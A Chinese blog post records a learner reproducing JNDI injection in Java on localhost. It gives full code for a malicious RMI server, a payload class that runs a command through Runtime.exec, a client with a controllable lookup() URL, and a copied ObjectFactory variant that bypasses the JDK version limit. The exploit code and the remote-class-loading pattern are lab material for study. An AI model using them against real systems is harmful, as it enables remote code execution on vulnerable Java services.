最近学习java安全,JDNI注入必需了解,进行初步的学习
首先JNDI注入对JAVA版本是有限限制的,本地是1.8.0_2.0.1超过了191,所以最开始拿符合版本方法复现没有成功
java版本查看
JNDI(Java Naming and Directory Interface)是一个应用程序设计的 API,一种标准的 Java 命名系统接口。
JNDI 注入,即当开发者在定义 JNDI
接口初始化时,lookup()
方法的参数可控,攻击者就可以将恶意的 url
传入参数远程加载恶意载荷,造成注入攻击。
符合版本的JNDI注入复现方法:
实现一个RMI服务
package Server; import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.NamingException; import javax.naming.Reference; import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; //恶意RMi服务 public class RmiDemo { public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException { //注册RMi服务 Registry registry = LocateRegistry.createRegistry(7778); //Reference包含有助于创建引用所引用的对象实例的信息。它包含该对象的Java类名称,以及用于创建对象的对象工厂的类名称和位置 Reference reference = new Reference("exp","exp","http://127.0.0.1:8888/"); //把 Reference对象封装成远程对象 ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("exp",referenceWrapper); } }
创建恶意类
public class exp { public exp() throws Exception { Runtime.getRuntime().exec("calc"); } }
实现被攻击端访问RMI服务,这里的lookup()参数可控,访问恶意的 url
package Client; import javax.naming.InitialContext; import javax.naming.NamingException; public class Client { public static void main(String[] args) throws NamingException { //模拟被攻击端参数可控 String url = "rmi://127.0.0.1:7778/exp"; InitialContext initialContext = new InitialContext(); initialContext.lookup(url); } }
编译恶意类并开启远程http服务,,让RMI可以远程引用恶意类,这里的IP和8888端口对应 Reference reference = new Reference("exp","exp","http://127.0.0.1:8888/");
但是最后运行RMI Server,再运行Client无法实现命令执行
原本想换个JDK版本,但又看到了网上大佬绕过版本限制的文章,这里copy过来修改一下,最后可以成功
修改后的恶意类和RMI服务
import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.util.Hashtable; //恶意类 public class PayloadObjectFactory implements ObjectFactory { @Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { Runtime.getRuntime().exec("calc"); return 1; } }
import javax.naming.NamingException; import javax.naming.Reference; import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; //恶意RMi服务 public class RmiDemo { public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException { //注册RMi服务 Registry registry = LocateRegistry.createRegistry(7778); //Reference包含有助于创建引用所引用的对象实例的信息。它包含该对象的Java类名称,以及用于创建对象的对象工厂的类名称和位置 Reference reference = new Reference("aaa", "PayloadObjectFactory", null); //把 Reference对象封装成远程对象 ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("exp",referenceWrapper); } }
最终成功命令执行弹出计算器
参考链接:
https://xz.aliyun.com/t/14566
https://xz.aliyun.com/t/12277
标签:java,Reference,JDNI,初步,import,naming,rmi,public,注入 From: https://www.cnblogs.com/byzd/p/18311225